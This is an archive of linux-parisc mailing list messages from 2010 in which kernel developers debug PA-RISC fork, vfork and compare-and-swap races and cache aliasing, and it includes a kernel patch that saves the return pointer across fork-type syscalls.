> * Thread A writes to CAS address and clobbers B's value.

I thought like that:
(condition like a young process, or a process after fork
which occurs COW)
* Thread A enters LWS CAS (no lock on UP)
* Thread A writes to CAS address causing COW
* Thread A sleeps for new memory.
  Kernel process scheduling:
    Thread A sleeps
    -> swapper wakes up and got new memory, then sleep
    -> Thread B wakes up
* Thread B enters LWS CAS (no lock on UP)
* Thread B writes to CAS address, causing COW, this time we have memory.
  Writes completes, and finishes time slice.
  Kernel process scheduling like that:
    Thread B sleeps -> Thread A wakes up
* Thread A writes to CAS address and clobbers B's value.

Today, I have a next question.  Is there any cache alias problem here?
Should we invalidate the cache line before "load" and flush the cache
line after "store"?

I am testing on paer.debian.org.  It says D-cache is wribe back,
and that's my concern.

--------------------------
Welcome to paer.debian.org, the Debian hppa porterbox

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Last login: Wed Mar 31 02:31:27 2010 from 150.82.175.29
gniibe@paer:~$ cat /proc/cpuinfo
processor	: 0
cpu family	: PA-RISC 2.0
cpu		: PA8700 (PCX-W2)
cpu MHz		: 750.000000
capabilities	: os64
model		: 9000/800/A500-7X
model name	: Crescendo 750 W2
hversion	: 0x00005e30
sversion	: 0x00000491
I-cache		: 768 KB
D-cache		: 1536 KB (WB, direct mapped)
ITLB entries	: 240
DTLB entries	: 240 - shared with ITLB
bogomips	: 1495.04
software id	: 822930640

--------------------------
-- 



From - Thu Nov 08 21:05:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: NIIBE Yutaka <gniibe@fsij.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: CAS (lws_compare_and_swap32)
Date: Thu, 01 Apr 2010 10:57:56 +0900
Organization: Free Software Initiative of Japan
Lines: 13
Approved: news@gmane.org
Message-ID: <4BB3FDA4.4070706@fsij.org>
References: <4BB0B2C8.8000302@fsij.org>	 <119aab441003290913x6cb925b9v66b44a14c31393cb@mail.gmail.com>	 <119aab441003291231j320e6637g87c201f75ee61faf@mail.gmail.com>	 <20100329200705.GE20286@bombadil.infradead.org> <119aab441003301338o1d0582f3wdbf82681f88ed671@mail.gmail.com> <4BB3F40A.7020401@fsij.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270087093 14138 80.91.229.12 (1 Apr 2010 01:58:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 1 Apr 2010 01:58:13 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 01 03:58:08 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nx9fb-0005xq-Dq
	for glpp-linux-parisc@lo.gmane.org; Thu, 01 Apr 2010 03:58:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755887Ab0DAB6G (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Mar 2010 21:58:06 -0400
Original-Received: from members.fsij.org ([211.14.6.125]:37327 "EHLO atom.fsij.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755632Ab0DAB6F (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Mar 2010 21:58:05 -0400
X-Greylist: delayed 2445 seconds by postgrey-1.27 at vger.kernel.org; Wed, 31 Mar 2010 21:58:05 EDT
Original-Received: from [150.82.175.29]
	by atom.fsij.org with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <gniibe@fsij.org>)
	id 1Nx9iu-00036L-Fy; Thu, 01 Apr 2010 11:01:32 +0900
User-Agent: Mozilla-Thunderbird 2.0.0.22 (X11/20091109)
In-Reply-To: <4BB3F40A.7020401@fsij.org>
X-Enigmail-Version: 0.95.0
X-SA-Exim-Connect-IP: 150.82.175.29
X-SA-Exim-Mail-From: gniibe@fsij.org
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on atom.fsij.org
X-Spam-Level: 
X-Spam-Status: No, score=-3.0 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00
	autolearn=ham version=3.2.5
X-SA-Exim-Version: 4.2.1 (built Wed, 25 Jun 2008 17:20:07 +0000)
X-SA-Exim-Scanned: Yes (on atom.fsij.org)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2746 gmane.linux.debian.ports.hppa:6335
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2746>

NIIBE Yutaka wrote:
> Today, I have a next question.  Is there any cache alias problem here?
> Should we invalidate the cache line before "load" and flush the cache
> line after "store"?

Sorry, I was confused.  We are talking threads which shares memory
context (space identifier), so, my concern is not relevant.
-- 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Thu, 01 Apr 2010 12:54:36 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20100401105436.156130@gmx.net>
References: <119aab441003281404y7bc37dddw14db435b85704b4f@mail.gmail.com>	
 <20100328212110.03F224E77@hiauly1.hia.nrc.ca>	
 <119aab441003281612j6bf4d910g52f94490824cfd81@mail.gmail.com>	
 <20100328235937.GA5806@hiauly1.hia.nrc.ca>	
 <119aab441003281724h78186fbwa415f7ac046269e2@mail.gmail.com>	
 <20100329023854.GA6633@hiauly1.hia.nrc.ca>	
 <119aab441003290511p6ca7904dxdfc7def8e0777662@mail.gmail.com>	
 <20100329140257.GA9394@hiauly1.hia.nrc.ca>
 <s2w119aab441003310655va434ab3bm6a0d71df6d7182c0@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1270119288 4501 80.91.229.12 (1 Apr 2010 10:54:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 1 Apr 2010 10:54:48 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@mcmartin.ca
To: "Carlos O'Donell" <carlos@systemhalted.org>,
	dave.anglin@nrc-cnrc.gc.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 01 12:54:44 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NxI2s-0007Rf-Ah
	for glpp-linux-parisc@lo.gmane.org; Thu, 01 Apr 2010 12:54:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754903Ab0DAKyl convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Apr 2010 06:54:41 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:41782 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754477Ab0DAKyk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Apr 2010 06:54:40 -0400
Original-Received: (qmail 29945 invoked by uid 0); 1 Apr 2010 10:54:38 -0000
Original-Received: from 155.56.68.215 by www122.gmx.net with HTTP;
 Thu, 01 Apr 2010 12:54:36 +0200 (CEST)
In-Reply-To: <s2w119aab441003310655va434ab3bm6a0d71df6d7182c0@mail.gmail.com>
X-Authenticated: #1045983
X-Flags: 0001
X-Mailer: WWW-Mail 6100 (Global Message Exchange)
X-Priority: 3
X-Provags-ID: V01U2FsdGVkX1/+57UvO7v++8qmp4Mx5QQpuy4c7zJWztxTDOQOUU
 4mJw2/yXwq06iR7KvGun2xCuIAj8I+ppmTOQ== 
X-GMX-UID: Wk6Gc8oPPjl+C+rBOTU2lMU7MTE2NYm/
X-FuHaFi: 0.70999999999999996
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2747
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2747>

> Rebuilt 2.10.2-6 here with r19 save for all cases.
>=20
> http://www.parisc-linux.org/~carlos/saver19/

Hi Carlos,

I installed this libc on one of my servers.
I didn't ran any bigger tests yet, but at least it seems to have fixed =
the issue that an ssh into the machine often didn't let me in the first=
 time. Now it just works...

Thanks!
Helge
--=20
NEU: GMX DSL f=FCr 19,99 EUR/mtl. und ohne Mindest-Laufzeit!
http://portal.gmx.net/de/go/dsl02
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Thu, 1 Apr 2010 09:33:52 -0400 (EDT)
Lines: 119
Approved: news@gmane.org
Message-ID: <20100401133353.D99774E77@hiauly1.hia.nrc.ca>
References: <20100401105436.156130@gmx.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270128844 7532 80.91.229.12 (1 Apr 2010 13:34:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 1 Apr 2010 13:34:04 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@mcmartin.ca,
	carlos@systemhalted.org, dave.anglin@nrc-cnrc.gc.ca
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 01 15:33:58 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NxKWz-0006bL-VM
	for glpp-linux-parisc@lo.gmane.org; Thu, 01 Apr 2010 15:33:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752534Ab0DANd5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Apr 2010 09:33:57 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2690 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751239Ab0DANdz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Apr 2010 09:33:55 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D99774E77; Thu,  1 Apr 2010 09:33:53 -0400 (EDT)
In-Reply-To: <20100401105436.156130@gmx.net> from "Helge Deller" at Apr 1, 2010 12:54:36 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2748
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2748>

Hi Helge,

> I installed this libc on one of my servers.
> I didn't ran any bigger tests yet, but at least it seems to have fixed the issue that an ssh into the machine often didn't let me in the first time. Now it just works...

I think this might be another issue.  Strangely, I used to see this
one my c3750 and it' now gone away.

I originally noticed a problem with Carlos's vfork testcase when compiled
with -static.  The parent pid printed by the parent was corrupted (always
same value) by the vfork call (r19 was not saved across syscall).  If you
check that it now works, the problem is probably fixed in glibc.

I have attached below a kernel fix for this bug.  This allows old user
code to work correctly.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

Signed-off-by: John Daqvid Anglin <dave.anglin@nrc-cnrc.gc.ca>

diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index ec787b4..b2f35b2 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -137,6 +137,7 @@ int main(void)
 	DEFINE(TASK_PT_IAOQ0, offsetof(struct task_struct, thread.regs.iaoq[0]));
 	DEFINE(TASK_PT_IAOQ1, offsetof(struct task_struct, thread.regs.iaoq[1]));
 	DEFINE(TASK_PT_CR27, offsetof(struct task_struct, thread.regs.cr27));
+	DEFINE(TASK_PT_SYSCALL_RP, offsetof(struct task_struct, thread.regs.pad0));
 	DEFINE(TASK_PT_ORIG_R28, offsetof(struct task_struct, thread.regs.orig_r28));
 	DEFINE(TASK_PT_KSP, offsetof(struct task_struct, thread.regs.ksp));
 	DEFINE(TASK_PT_KPC, offsetof(struct task_struct, thread.regs.kpc));
@@ -225,6 +226,7 @@ int main(void)
 	DEFINE(PT_IAOQ0, offsetof(struct pt_regs, iaoq[0]));
 	DEFINE(PT_IAOQ1, offsetof(struct pt_regs, iaoq[1]));
 	DEFINE(PT_CR27, offsetof(struct pt_regs, cr27));
+	DEFINE(PT_SYSCALL_RP, offsetof(struct pt_regs, pad0));
 	DEFINE(PT_ORIG_R28, offsetof(struct pt_regs, orig_r28));
 	DEFINE(PT_KSP, offsetof(struct pt_regs, ksp));
 	DEFINE(PT_KPC, offsetof(struct pt_regs, kpc));
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 3a44f7f..5772cba 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -1772,9 +1744,9 @@ ENTRY(sys_fork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* These are call-clobbered registers and therefore
-	   also syscall-clobbered (we hope). */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	LDREG	PT_GR30(%r1),%r25
@@ -1804,7 +1776,7 @@ ENTRY(child_return)
 	nop
 
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE-FRAME_SIZE(%r30), %r1
-	LDREG	TASK_PT_GR19(%r1),%r2
+	LDREG	TASK_PT_SYSCALL_RP(%r1),%r2
 	b	wrapper_exit
 	copy	%r0,%r28
 ENDPROC(child_return)
@@ -1823,8 +1795,9 @@ ENTRY(sys_clone_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* WARNING - Clobbers r19 and r21, userspace must save these! */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 	BL	sys_clone,%r2
 	copy	%r1,%r24
@@ -1847,7 +1820,9 @@ ENTRY(sys_vfork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	BL	sys_vfork,%r2
diff --git a/arch/parisc/hpux/wrappers.S b/arch/parisc/hpux/wrappers.S
index 58c53c8..bdcea33 100644
--- a/arch/parisc/hpux/wrappers.S
+++ b/arch/parisc/hpux/wrappers.S
@@ -88,7 +88,7 @@ ENTRY(hpux_fork_wrapper)
 
 	STREG	%r2,-20(%r30)
 	ldo	64(%r30),%r30
-	STREG	%r2,PT_GR19(%r1)	;! save for child
+	STREG	%r2,PT_SYSCALL_RP(%r1)	;! save for child
 	STREG	%r30,PT_GR21(%r1)	;! save for child
 
 	LDREG	PT_GR30(%r1),%r25
@@ -132,7 +132,7 @@ ENTRY(hpux_child_return)
 	bl,n	schedule_tail, %r2
 #endif
 
-	LDREG	TASK_PT_GR19-TASK_SZ_ALGN-128(%r30),%r2
+	LDREG	TASK_PT_SYSCALL_RP-TASK_SZ_ALGN-128(%r30),%r2
 	b fork_return
 	copy %r0,%r28
 ENDPROC(hpux_child_return)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: Use of align_frame provides stack frame.
Date: Thu, 1 Apr 2010 14:44:24 -0400
Organization: nrc.ca
Lines: 35
Approved: news@gmane.org
Message-ID: <20100401184423.GA2126@hiauly1.hia.nrc.ca>
References: <p2k119aab441003311342q9e17c174u617cb75a1a4b9dc@mail.gmail.com> <20100331210901.A34455183@hiauly1.hia.nrc.ca> <v2x119aab441003311446h652aff9az2e568910a1854829@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1270147472 15218 80.91.229.12 (1 Apr 2010 18:44:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 1 Apr 2010 18:44:32 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@mcmartin.ca
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 01 20:44:28 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NxPNT-0005vY-20
	for glpp-linux-parisc@lo.gmane.org; Thu, 01 Apr 2010 20:44:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756044Ab0DASo0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Apr 2010 14:44:26 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2699 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755006Ab0DASo0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Apr 2010 14:44:26 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 82D064E77; Thu,  1 Apr 2010 14:44:24 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <v2x119aab441003311446h652aff9az2e568910a1854829@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2749
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2749>

On Wed, 31 Mar 2010, Carlos O'Donell wrote:

> I'm still at a loss to explain how the kernel prevents a process,
> which has just called execve, from returning to the callers memory
> range.
> 
> My suspicion is this:
> * Parent calls vfork()
> * Child calls execve(), which uses start_thread to setup pt_regs.
> * Child returns from execve() via syscall_exit and does *not* restore
> space registers from pt_regs.
> * Child returns to parent's memory space and starts clobbering things.
> * Timer tick goes off and switch_to fixes child's space registers and
> PC values and child executes correctly.
> * Parent continues executing with some minor corruption.
> 
> The window exists between the child's return and the next tick, during
> that time the child runs free corrupting the parent.

I'm thinking we might have the same problem with fork (i.e., child
sometimes starts with wrong space registers depending on timer tick
timing).

What timer frequency are you using?  I've been using 250 Hz.  If your
theory is correct, I think the problem should be worse at 100 Hz.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Thu, 01 Apr 2010 20:55:17 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <4BB4EC15.3000803@gmx.de>
References: <20100401133353.D99774E77@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270148141 17749 80.91.229.12 (1 Apr 2010 18:55:41 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 1 Apr 2010 18:55:41 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@mcmartin.ca,
	carlos@systemhalted.org, dave.anglin@nrc-cnrc.gc.ca
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 01 20:55:22 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NxPY2-0001pF-2K
	for glpp-linux-parisc@lo.gmane.org; Thu, 01 Apr 2010 20:55:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757764Ab0DASzV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Apr 2010 14:55:21 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:41382 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755913Ab0DASzU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Apr 2010 14:55:20 -0400
Original-Received: (qmail invoked by alias); 01 Apr 2010 18:55:18 -0000
Original-Received: from p54AD14B1.dip0.t-ipconnect.de (EHLO halden.box) [84.173.20.177]
  by mail.gmx.net (mp067) with SMTP; 01 Apr 2010 20:55:18 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18NCrQvbTsNUpfyAixMEjdVXvuROVt+Jd18GKyi6O
	ZqsdD04U0s/hj8
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100301 Fedora/3.0.3-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.3
In-Reply-To: <20100401133353.D99774E77@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.63
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2750
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2750>

On 04/01/2010 03:33 PM, John David Anglin wrote:
> Hi Helge,
>
>> I installed this libc on one of my servers.
>> I didn't ran any bigger tests yet, but at least it seems to have fixed the issue that an ssh into the machine often didn't let me in the first time. Now it just works...
>
> I think this might be another issue.  Strangely, I used to see this
> one my c3750 and it' now gone away.

Sadly I was wrong and answered too fast.
The ssh-issue came back at some point, so the new glibc didn't fixed it.... :-(
  
> I originally noticed a problem with Carlos's vfork testcase when compiled
> with -static.  The parent pid printed by the parent was corrupted (always
> same value) by the vfork call (r19 was not saved across syscall).  If you
> check that it now works, the problem is probably fixed in glibc.
>
> I have attached below a kernel fix for this bug.  This allows old user
> code to work correctly.

Thanks for the work you and Carlos do!

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: NIIBE Yutaka <gniibe@fsij.org>
Newsgroups: gmane.linux.ports.parisc
Subject: threads and fork on machine with VIPT-WB cache
Date: Fri, 02 Apr 2010 11:41:16 +0900
Organization: Free Software Initiative of Japan
Lines: 233
Approved: news@gmane.org
Message-ID: <4BB5594C.8050505@fsij.org>
References: <4BA43CE5.4020807@fsij.org> <87hbo4ek8l.fsf@thialfi.karme.de>	<4BB18B46.2070203@fsij.org> <4BB53D26.60601@fsij.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270176090 32478 80.91.229.12 (2 Apr 2010 02:41:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 2 Apr 2010 02:41:30 +0000 (UTC)
Cc: pkg-gauche-devel@lists.alioth.debian.org, 561203@bugs.debian.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 02 04:41:26 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NxWp1-0003BL-FY
	for glpp-linux-parisc@lo.gmane.org; Fri, 02 Apr 2010 04:41:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758558Ab0DBClW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Apr 2010 22:41:22 -0400
Original-Received: from members.fsij.org ([211.14.6.125]:41443 "EHLO atom.fsij.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754916Ab0DBClV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Apr 2010 22:41:21 -0400
Original-Received: from [150.82.175.29]
	by atom.fsij.org with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <gniibe@fsij.org>)
	id 1NxWsU-0005Eb-PB; Fri, 02 Apr 2010 11:44:59 +0900
User-Agent: Mozilla-Thunderbird 2.0.0.22 (X11/20091109)
In-Reply-To: <4BB53D26.60601@fsij.org>
X-Enigmail-Version: 0.95.0
X-SA-Exim-Connect-IP: 150.82.175.29
X-SA-Exim-Mail-From: gniibe@fsij.org
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on atom.fsij.org
X-Spam-Level: 
X-Spam-Status: No, score=-3.0 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00
	autolearn=ham version=3.2.5
X-SA-Exim-Version: 4.2.1 (built Wed, 25 Jun 2008 17:20:07 +0000)
X-SA-Exim-Scanned: Yes (on atom.fsij.org)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2751
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2751>

Hi there,

I think that I am catching a bug for threads and fork.  I found it
when debugging FTBFS of Gauche, a Scheme interpreter.  As I think that
the Debian bug #561203 has same cause, I am CC:-ing to the BTS too.
Please send Cc: to me, I am not on linux-parisc list.

Here, I am talking uniprocessor system case.
I assume that PARISC has virtually indexed, physically tagged, write
back cache, I call it VIPT-WB.

I am reading the source in Debian:
	linux-source-2.6.32/kernel/fork.c
	linux-source-2.6.32/mm/memory.c
	linux-source-2.6.32/arch/parisc/include/asm/pgtable.h

To have same semantics as other archs, I think that VIPT-WB cache
machine should have cache flush at ptep_set_wrprotect, so that memory
of the page has up-to-date data.  Yes, it will be huge performance
